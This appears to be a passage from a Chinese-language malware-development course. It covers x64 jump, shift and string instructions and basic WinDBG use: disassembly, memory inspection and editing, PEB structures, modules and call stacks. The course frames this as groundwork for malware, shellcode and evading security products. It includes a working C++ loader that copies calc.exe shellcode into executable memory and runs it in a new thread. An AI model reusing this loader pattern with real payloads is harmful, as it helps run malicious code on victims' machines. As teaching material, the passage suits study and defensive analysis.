JNE/JNZ   不相等/不为0时跳转     
JA/JNBE   高于/不低于/等于时跳转   
JAE/JNB   高于或等于/不低于时跳转  
JB/JNAE   低于/不高于或等于时跳转     
JBE/JNA   低于或等于/不高于时跳转     

对于有符号数字的操作
JE/JZ     相等/为0时跳转
JNE/JNZ   不相等或不为0时跳转  
JG/JNLE   大于/不小于或等于时跳转    
JGE/JNL   大于或等于/不小于时跳转     
JL/JNGE   小于/不大于或等于时跳转     
JLE/JNG   小于或等于/不大于时跳转     
```

##### **SAL/SAR/SHL/SHR**

这组运算为移位运算。SAL 表示算术左移，而 SAR 为算术右移。前者将寄存器或内存位置中的位向左移动 1 位，而后者将其向右移动，此运算相当于分别乘以或除以 2^n。

SHL 表示逻辑左移，只是 SAL 的另一个名称，然而，SHR 和 SAR 还是略有不同，后者保留符号位 (最高有效位)，因此这不会改变。SAR 应该用于有符号操作。

这些指令都采用 2 个操作数，分别为移位的目标以及要移位的位数。

假设 RAX 为 **0xFF**，我们执行 **SHL RAX, 3** 指令。

```c++
RAX
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 1111 1111

SHL RAX, 3
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0111 1111 1000
```

如果移动的位数过多，我们会失去部分位，例如 **SHL RAX, 56**。

```c++
1111 1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
```

而 SHL/SHR 只是 SAL/SAR 反方向版本。

##### **ROL/ROR**

ROL/ROR 与移位运算很相似，但并不会出现位丢失的情况，被“挤”出去的位会插入到另外一端。

```c++
╭───────────────╮
1 0 0 0 1 0 0 0 |
 / / / / / / /  |
0 0 0 1 0 0 0 1─╯
```

##### **REP/STOS/SCAS**

这组指令经常与字符串操作相关。**STOS** 指令表示**存储字符串**，它将在内存位置存储 BYTE、WORD、DWORD 或 QWORD，指令设置的值可以是任何值，因此它不必是有效的字符串字符。目标内存地址存储在 **RDI** 中，要设置的值存储在 **RAX** 中。设置内存后，RDI 将增加存储的字节数，即如果存储 1 个字节，RDI 将增加 1，如果存储 QWORD，RDI 将增加 8。

**STOS** 通常与 **REP** 前缀一起使用，这将导致 CPU 重复 STOS 指令 **RCX 次**。每次重复时 RCX 都会减 1，直到达到 0。REP STOS 组合通常用于 memset 操作，它将内存范围设置为某个值。由于该指令使用多个寄存器，我们需要提前设置 RAX、RDI 和 RCX 中存储的值。

**SCAS** 指令用于将字符串或字节与**累加器寄存器** (AL、AX、EAX 或 RAX) 进行比较，它从源操作数中减去目标操作数并相应地设置标志，但不保存结果。如果方向标志位 DF 被设置，它会自动递减 RDI。SCAS 通常也与 REPE 前缀一起使用，用于在字符串中搜索给定的字节或字节序列。

### **总结**

以上，我们讲了x64 汇编所需的前置理论基础，以及常见汇编指令。我们在逆向工程以及漏洞利用开发的过程中还会遇到其他的指令，在掌握了前置理论的基础上，配合阅读文档以及网络搜索，很快也能知道它们的作用并灵活运用。

# 使用 WinDBG 调试

在这小节，我们将学习调试程序的技能，这对于恶意软件开发领域有这些帮助：**理解当下的恶意软件的技术、功能、原理**，**分析恶意软件并且改进，开发漏洞利用以及 Shellcode**，**理解安全产品的原理以规避检测等**。

我们将主要使用 WinDBG 作为动态调试工具，WinDBG 可以在微软商店中获取：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/XEE5TCSdmAscCL9Q-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/XEE5TCSdmAscCL9Q-image.png)

调试器是插入在目标应用程序和 CPU 之间的计算机程序，充当类似**代理**的角色。使用调试器使我们能够查看应用程序的内存和执行流程并与之交互。接下来的课程内容中，我们将与**用户模式交**互。

CPU以二进制级别处理代码，这对人类来说很难阅读和理解，而**汇编语言**引入了二进制内容和编程语言之间的**一对一映射**。尽管汇编语言应该是人类可读的，但它仍然是一种低级语言，并且需要时间来掌握。 **操作码**是由 CPU 解释为特定指令的**二进制序列**，这在调试器中显示为**十六进制值**以及**汇编语言**的翻译。

### **自定义界面**

为了能有一个舒适的调试环境，我们可以对 WinDBG 的界面进行自定义，这样当我们调试应用程序的时候，可以在用户界面中查看到所需的信息，例如**内存**、**汇编代码**、**断点信息**等。

在导航栏中选中 View，我们可以添加多个窗口，这里面对我们调试过程会十分有帮助的有 **WinDBG 命令 (Command)**、**寄存器 (Registers)**、**内存 (Memory)**、**栈 (Stack)**、**汇编代码 (Disassembly)**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Aby19z4rBoevI4zU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Aby19z4rBoevI4zU-image.png)点中之后，对应的窗口会浮现出来，可以使其与 WinDBG 主窗口相互独立，也可以将其嵌入至 WinDBG 主窗口，我会更推荐将它们**嵌入至主窗口**。不过因为主窗口空间有限，如果添加的窗口数量过多，也会影响我们对信息的提取效率，诸如模块 (Module)、断点 (Breakpoints) 等窗口我们不一定要添加到主页面，而是通过 WinDBG 的命令来查看相关信息。

下图是个人偏好的一个界面布局，你们可能注意到我添加了 2 个内存窗口，因为我们还想查看 RSP 的状态。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/WzDovtjpFflsuuqI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/WzDovtjpFflsuuqI-image.png)

当我们想要调试一个进程或者应用的时候，可以选择使用 WinDBG 启动目标程序，或者附加到正常运行的进程中。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/CJb83gS3NoTVnXwO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/CJb83gS3NoTVnXwO-image.png)

附加上之后，进程会自动被设置一个软件断点，对应的汇编指令为 **int 3**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Dgk3tM2k2YUsy269-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Dgk3tM2k2YUsy269-image.png)

我们可以执行 WinDBG 命令 **g** 来继续执行。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/w4eRxtnmYdXLcwFL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/w4eRxtnmYdXLcwFL-image.png)

在进入对 WinDBG 基本命令的学习之前，我们还需要知道调试符号。符号 (Symbol) 文件允许 WinDbg 使用名称而不是地址来引用内部**函数**、**结构体**和**全局变量**。例如，我们想给 **kernelbase.dll** 中的 **CreateProcessA** 函数设置软件断点，我们不需要先得到载入的 kernelbase.dll 中的 CreateProcessA 函数的地址，使用名称即可，命令为 **bp kernelbase!CreateProcessA**。在后面，我们也可以用符号来查看一些结构体。

符号文件以 **.pdb** 为拓展名，当应用程序的 pdb 与 PE 文件在同一目录下，符号文件会被自动载入从而识别应用程序中的符号。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/VnP05LSQRpbeKsB6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/VnP05LSQRpbeKsB6-image.png)

这样，我们可以使用 **process\_calc!Main** 来定位到 process\_calc.exe 程序中的 Main 函数。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ZNr7zUkNzPidq3v1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ZNr7zUkNzPidq3v1-image.png)

### **伪寄存器**  


除了 rsp, rip 等处理器寄存器外，在 WinDBG，还支持伪寄存器。WinDbg 中的伪寄存器不是实际的处理器寄存器，而是调试器本身提供的结构，允许我们快速方便地访问某些常用信息，而无需手动计算地址或使用较长的命令序列。我们会经常用到的伪寄存器有 **$peb**、**$teb**、**$ip** ，分别代表**当前进程的 PEB**，**当前线程的 TEB**，当前的**指令寄存器**。

```
0:000> r $peb
$peb=0000005c12c6f000
0:000> r $teb
$teb=0000005c12c70000
0:000> r $ip
$ip=00007ffb80a4cea4
```

### **基本命令**

有了对 WinDBG 的初始了解以及配置了最适合自己的界面布局后，我们来学习 WinDBG 的基本常用命令。WinDBG 内置的命令数量十分庞大，并且考虑到该小节的内容是作为恶意软件开发的前置知识，因此我们不会过于深入。接下来，我们依次介绍以下这些常用命令。

##### **反汇编**  


在 WinDBG 中，使用命令 ***u &lt;内存地址&gt;*** 来检视给定内存地址的汇编代码。例如，我们可以查看 user32.dll 中的 MessageBoxA 函数的汇编实现：

```
0:000> u user32!messageboxa
USER32!MessageBoxA:
00007ffb`7e9a7a90 4883ec38        sub     rsp,38h
00007ffb`7e9a7a94 4533db          xor     r11d,r11d
00007ffb`7e9a7a97 44391dcaf70300  cmp     dword ptr [USER32!gfEMIEnable (00007ffb`7e9e7268)],r11d
00007ffb`7e9a7a9e 742e            je      USER32!MessageBoxA+0x3e (00007ffb`7e9a7ace)
00007ffb`7e9a7aa0 65488b042530000000 mov   rax,qword ptr gs:[30h]
00007ffb`7e9a7aa9 4c8b5048        mov     r10,qword ptr [rax+48h]
00007ffb`7e9a7aad 33c0            xor     eax,eax
```

对于内存地址，可以是符号、内存地址、寄存器的形式，只要是合法的内存地址。可以通过 **l\*** 来指定显示的行数。

```
0:000> u 00007ffb`7e9a7a90 l3
USER32!MessageBoxA:
00007ffb`7e9a7a90 4883ec38        sub     rsp,38h
00007ffb`7e9a7a94 4533db          xor     r11d,r11d
00007ffb`7e9a7a97 44391dcaf70300  cmp     dword ptr [USER32!gfEMIEnable (00007ffb`7e9e7268)],r11d
```

##### **读取内存**

我们可以使用命令 ***d\* &lt;内存地址&gt;*** 来读取给定内存地址，星号可以是不同的数据类型，例如 **byte**，**word**，d**word** 等。我们可以在微软文档 [https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw--dw--dyb--dyd--display-memor](https://learn.microsoft.com/en-us/windows-hardware/drivers/debugger/d--da--db--dc--dd--dd--df--dp--dq--du--dw--dw--dyb--dyd--display-memor) 中了解更加详细的用法。

```
0:000> dd rip
00007ffb`80a4cea4  4800ebcc c338c483 cccccccc cccccccc
00007ffb`80a4ceb4  245c8948 74894810 57551824 8d485641
00007ffb`80a4cec4  ff0024ac 8148ffff 000200ec 058b4800
00007ffb`80a4ced4  000bf648 48c43348 00f08589 8b4c0000
00007ffb`80a4cee4  0bc32705 058d4800 0005afe0 8948ff33
00007ffb`80a4cef4  c7502444 16482444 48001800 7024448d
00007ffb`80a4cf04  24448948 f18b4868 602444c7 01000000
00007ffb`80a4cf14  0100be41 89660000 4d70247c 2b74c085
0:000> db rip
00007ffb`80a4cea4  cc eb 00 48 83 c4 38 c3-cc cc cc cc cc cc cc cc  ...H..8.........
00007ffb`80a4ceb4  48 89 5c 24 10 48 89 74-24 18 55 57 41 56 48 8d  H.\$.H.t$.UWAVH.
00007ffb`80a4cec4  ac 24 00 ff ff ff 48 81-ec 00 02 00 00 48 8b 05  .$....H......H..
00007ffb`80a4ced4  48 f6 0b 00 48 33 c4 48-89 85 f0 00 00 00 4c 8b  H...H3.H......L.
00007ffb`80a4cee4  05 27 c3 0b 00 48 8d 05-e0 af 05 00 33 ff 48 89  .'...H......3.H.
00007ffb`80a4cef4  44 24 50 c7 44 24 48 16-00 18 00 48 8d 44 24 70  D$P.D$H....H.D$p
00007ffb`80a4cf04  48 89 44 24 68 48 8b f1-c7 44 24 60 00 00 00 01  H.D$hH...D$`....
00007ffb`80a4cf14  41 be 00 01 00 00 66 89-7c 24 70 4d 85 c0 74 2b  A.....f.|$pM..t+
0:000> dw rip
00007ffb`80a4cea4  ebcc 4800 c483 c338 cccc cccc cccc cccc
00007ffb`80a4ceb4  8948 245c 4810 7489 1824 5755 5641 8d48
00007ffb`80a4cec4  24ac ff00 ffff 8148 00ec 0002 4800 058b
00007ffb`80a4ced4  f648 000b 3348 48c4 8589 00f0 0000 8b4c
00007ffb`80a4cee4  2705 0bc3 4800 058d afe0 0005 ff33 8948
00007ffb`80a4cef4  2444 c750 2444 1648 1800 4800 448d 7024
00007ffb`80a4cf04  8948 2444 4868 f18b 44c7 6024 0000 0100
00007ffb`80a4cf14  be41 0100 0000 8966 247c 4d70 c085 2b74
```

##### **读取结构体**

我们可以使用 ***dt &lt;结构体名称&gt;*** 命令来显示结构体的结构，当然了，读取结构体需要**符号文件**的载入。在之前的小节，我们讲了 PEB 和 TEB，那么我们在 WinDBG 中查看一下 PEB 的结构吧。其中，使用 **-r** 选项可以递归地展示成员，因为结构体的成员也可能是结构体。

```
0:000> dt ntdll!_peb
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
   +0x020 ProcessParameters : Ptr64 _RTL_USER_PROCESS_PARAMETERS
............
   +0x7ac CloudFileDiagFlags : Uint4B
   +0x7b0 PlaceholderCompatibilityMode : Char
   +0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
   +0x7b8 LeapSecondData   : Ptr64 _LEAP_SECOND_DATA
   +0x7c0 LeapSecondFlags  : Uint4B
   +0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
   +0x7c0 Reserved         : Pos 1, 31 Bits
   +0x7c4 NtGlobalFlag2    : Uint4B
   +0x7c8 ExtendedFeatureDisableMask : Uint8B
0:000> dt -r ntdll!_peb
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
   +0x018 Ldr              : Ptr64 _PEB_LDR_DATA
      +0x000 Length           : Uint4B
      +0x004 Initialized      : UChar
      +0x008 SsHandle         : Ptr64 Void
      +0x010 InLoadOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x020 InMemoryOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x030 InInitializationOrderModuleList : _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x040 EntryInProgress  : Ptr64 Void
      +0x048 ShutdownInProgress : UChar
      +0x050 ShutdownThreadId : Ptr64 Void
............
   +0x34e OemCodePage      : Uint2B
   +0x350 UseCaseMapping   : Uint2B
   +0x352 UnusedNlsField   : Uint2B
   +0x358 WerRegistrationData : Ptr64 Void
   +0x360 WerShipAssertPtr : Ptr64 Void
   +0x368 EcCodeBitMap     : Ptr64 Void
   +0x370 pImageHeaderHash : Ptr64 Void
   +0x378 TracingFlags     : Uint4B
   +0x378 HeapTracingEnabled : Pos 0, 1 Bit
   +0x378 CritSecTracingEnabled : Pos 1, 1 Bit
   +0x378 LibLoaderTracingEnabled : Pos 2, 1 Bit
   +0x378 SpareTracingBits : Pos 3, 29 Bits
   +0x37c Padding6         : [4] UChar
   +0x380 CsrServerReadOnlySharedMemoryBase : Uint8B
   +0x388 TppWorkerpListLock : Uint8B
   +0x390 TppWorkerpList   : _LIST_ENTRY
      +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
      +0x008 Blink            : Ptr64 _LIST_ENTRY
         +0x000 Flink            : Ptr64 _LIST_ENTRY
         +0x008 Blink            : Ptr64 _LIST_ENTRY
   +0x3a0 WaitOnAddressHashTable : [128] Ptr64 Void
   +0x7a0 TelemetryCoverageHeader : Ptr64 Void
   +0x7a8 CloudFileFlags   : Uint4B
   +0x7ac CloudFileDiagFlags : Uint4B
   +0x7b0 PlaceholderCompatibilityMode : Char
   +0x7b1 PlaceholderCompatibilityModeReserved : [7] Char
   +0x7b8 LeapSecondData   : Ptr64 _LEAP_SECOND_DATA
      +0x000 Enabled          : UChar
      +0x004 Count            : Uint4B
      +0x008 Data             : [1] _LARGE_INTEGER
         +0x000 LowPart          : Uint4B
         +0x004 HighPart         : Int4B
         +0x000 u                : <unnamed-tag>
         +0x000 QuadPart         : Int8B
   +0x7c0 LeapSecondFlags  : Uint4B
   +0x7c0 SixtySecondEnabled : Pos 0, 1 Bit
   +0x7c0 Reserved         : Pos 1, 31 Bits
   +0x7c4 NtGlobalFlag2    : Uint4B
   +0x7c8 ExtendedFeatureDisableMask : Uint8B

```

我们还可以使用 WinDBG 检视给定内存区域的结构体数据、查看结构体中的成员、显示结构体的尺寸。

```
0:000> dt ntdll!_peb @$peb
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x4 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y0
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff6`4ba90000 Void
   +0x018 Ldr              : 0x00007ffb`80af4380 _PEB_LDR_DATA
   +0x020 ProcessParameters : 0x00000200`bdb86990 _RTL_USER_PROCESS_PARAMETERS
............
   +0x7c4 NtGlobalFlag2    : 0
   +0x7c8 ExtendedFeatureDisableMask : 0
0:000> dt ntdll!_peb @$peb ProcessParameters
   +0x020 ProcessParameters : 0x00000200`bdb86990 _RTL_USER_PROCESS_PARAMETERS
0:000> ?? sizeof(ntdll!_PEB)
unsigned int64 0x7d0

```

##### **修改和写入内存**

我们可以使用命令 **e\*** 对给定内存地址进行数据写入或修改，星号为数据的类型。

```
0:000> dd rsp l1
0000005c`12a9ef80  00000000
0:000> ed rsp 41414141
0:000> dd rsp l1
0000005c`12a9ef80  41414141
0:000> da rsp
0000005c`12a9ef80  "AAAA"
0:000> ea rsp "BBBB"
0:000> da rsp
0000005c`12a9ef80  "BBBB"
```

##### **搜索内存空间**

当我们想在内存空间里搜索特定的字节序列或者字符串，可以使用 s 命令。我们可以指定不同的数据类型、内存范围、要搜索的内容。例如，在 x64 下，在所有用户态内存空间中搜索字符串 "dl3r"，命令语句如下：

```
s -a 0 L?0x7fffffffffffffff "dl3r"
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/JsxZlOmoibItNvzn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/JsxZlOmoibItNvzn-image.png)

因为内存空间十分庞大，我们最好能在更精确的范围中进行搜索。

##### **检视寄存器**

我们可以使用命令 **r** 来查看所有寄存器，或者 ***r &lt;寄存器&gt;*** 查看单个寄存器。伪寄存器也可以用 r 命令来查看。

```
2:008> r
rax=0000000000000000 rbx=00007ffb80abcc50 rcx=00007ffb80a0f0f4
rdx=0000000000000000 rsi=000000b6da72e000 rdi=00007ffb80aa6c08
rip=00007ffb80a4cea4 rsp=000000b6da4ceda0 rbp=0000000000000000
 r8=000000b6da4ced98  r9=0000000000000000 r10=0000000000000000
r11=0000000000000246 r12=0000000000000040 r13=0000000000000001
r14=000001bf3e860000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!LdrpDoDebuggerBreak+0x30:
00007ffb`80a4cea4 cc              int     3
2:008> r rip
rip=00007ffb80a4cea4
2:008> r $peb
$peb=000000b6da72e000
```

##### **计算器**

WinDBG 的命令 ***? &lt;表达式&gt;*** 可用作计算器，实现**算数运算**、**进制转换**等任务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/Qx5I8P5vCYR6eDbs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/Qx5I8P5vCYR6eDbs-image.png)

命令 ***.formats &lt;数据&gt;*** 可将给定数值转换为不同数据类型：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/ki1D0Gg1rJEUdeB1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/ki1D0Gg1rJEUdeB1-image.png)

##### **列举模块**

我们可以使用命令 **lm** 来列举当前进程载入的所有模块，或者检视指定的模块。使用命令 **x** 来查看模块中的符号

```
2:008> lm
start             end                 module name
00007ff6`4ba90000 00007ff6`4baea000   notepad    (pdb symbols)          C:\ProgramData\Dbg\sym\notepad.pdb\C694C0AA7279CC672966901283BF50541\notepad.pdb
00007ffb`6c470000 00007ffb`6c6fe000   COMCTL32   (deferred)             
00007ffb`7dd70000 00007ffb`7de0a000   msvcp_win   (deferred)             
00007ffb`7de10000 00007ffb`7df21000   ucrtbase   (deferred)             
00007ffb`7dff0000 00007ffb`7e016000   win32u     (deferred)             
00007ffb`7e020000 00007ffb`7e139000   gdi32full   (deferred)             
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (pdb symbols)          C:\ProgramData\Dbg\sym\kernelbase.pdb\69B5D8B50C7EA66AAE7105C36531C37F1\kernelbase.pdb
00007ffb`7e930000 00007ffb`7eadb000   USER32     (deferred)             
00007ffb`7eae0000 00007ffb`7eb87000   msvcrt     (deferred)             
00007ffb`7fbb0000 00007ffb`7fc54000   sechost    (deferred)             
00007ffb`7fd40000 00007ffb`7fd69000   GDI32      (deferred)             
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
00007ffb`7ff70000 00007ffb`80061000   shcore     (deferred)             
00007ffb`80180000 00007ffb`8022e000   advapi32   (deferred)             
00007ffb`80230000 00007ffb`80347000   RPCRT4     (deferred)             
00007ffb`80510000 00007ffb`80899000   combase    (deferred)             
00007ffb`80970000 00007ffb`80b84000   ntdll      (pdb symbols)          C:\ProgramData\Dbg\sym\ntdll.pdb\ACBBF75A6C22094871DD84500F4F58F91\ntdll.pdb
2:008> lm m kernel*
Browse full module list
start             end                 module name
00007ffb`7e3a0000 00007ffb`7e743000   KERNELBASE   (pdb symbols)          C:\ProgramData\Dbg\sym\kernelbase.pdb\69B5D8B50C7EA66AAE7105C36531C37F1\kernelbase.pdb
00007ffb`7fd70000 00007ffb`7fe32000   KERNEL32   (deferred)             
2:008> x kernelbase!CreateProcess*
00007ffb`7e465717 KERNELBASE!CreateProcessInternalA$filt$1 (void)
00007ffb`7e4656f7 KERNELBASE!CreateProcessInternalA$filt$0 (void)
00007ffb`7e426e2c KERNELBASE!CreateProcessExtensions::ReleaseAppXContext (void)
00007ffb`7e3e0230 KERNELBASE!CreateProcessInternalW (void)
00007ffb`7e425840 KERNELBASE!CreateProcessInternalA (void)
00007ffb`7e462f6b KERNELBASE!CreateProcessInternalW$filt$1 (void)
00007ffb`7e4ffb20 KERNELBASE!CreateProcessWithTokenW (void)
00007ffb`7e462f91 KERNELBASE!CreateProcessInternalW$fin$2 (void)
00007ffb`7e4ffa90 KERNELBASE!CreateProcessAsUserA (void)
00007ffb`7e462f05 KERNELBASE!CreateProcessInternalW$fin$0 (void)
00007ffb`7e3e98e4 KERNELBASE!CreateProcessExtensions::PreCreationExtension (void)
00007ffb`7e4ffac0 KERNELBASE!CreateProcessAsUserW (void)
00007ffb`7e4ffaf0 KERNELBASE!CreateProcessWithLogonW (void)
00007ffb`7e465737 KERNELBASE!CreateProcessInternalA$fin$2 (void)
00007ffb`7e4d9880 KERNELBASE!CreateProcessExtensions::ErrorContext::LogError (public: void __cdecl CreateProcessExtensions::ErrorContext::LogError(long,struct Common::COMMON_STRING *))
00007ffb`7e4d9424 KERNELBASE!CreateProcessExtensions::CreateSharedLocalFolder (public: static long __cdecl CreateProcessExtensions::CreateSharedLocalFolder(struct Common::COMMON_STRING const &))
00007ffb`7e4f7ad0 KERNELBASE!CreateProcessAsUserA (CreateProcessAsUserA)
00007ffb`7e4257c0 KERNELBASE!CreateProcessA (CreateProcessA)
00007ffb`7e4231b0 KERNELBASE!CreateProcessAsUserW (CreateProcessAsUserW)
00007ffb`7e41fe80 KERNELBASE!CreateProcessW (CreateProcessW)
```

##### **调用栈**

有以下这么一个程序，执行了弹出 calc.exe 的 Shellcode。在 main 函数中，调用了 calc\_exec 函数，而在 calc\_exec 函数中，调用了数个 Windows API 来实现 Shellcode 执行。

```c++

#include <windows.h>
#include <stdlib.h>
#include <iostream>


unsigned char shellcode[] = {
  0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51,
  0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52,
  0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72,
  0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41,
  0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b,
  0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
  0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44,
  0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41,
  0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0,
  0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1,
  0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44,
  0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44,
  0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01,
  0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59,
  0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41,
  0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48,
  0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d,
  0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5,
  0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff,
  0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0,
  0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89,
  0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
};

void calc_exec()
{
    int length = sizeof(shellcode);
    void* exec = VirtualAlloc(0, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(exec, shellcode, length);
    HANDLE th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);
    WaitForSingleObject(th, 0xFFFFFFFF);
}

int main() {
    calc_exec();

    return 0;
}



```

在程序执行过程中，如果有地方报错了，我们可以根据函数的调用次序来追踪问题。例如，当程序执行到 WaitForSingleObject 处的时候，使用 WinDBG 命令 **k** 或者查看 WinDBG **栈窗口**，我们可以清晰地看到调用次序：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/hABuwC4kTvlqlFy7-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/hABuwC4kTvlqlFy7-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-07/scaled-1680-/sunVLL4YtlLLDEUv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-07/sunVLL4YtlLLDEUv-image.png)

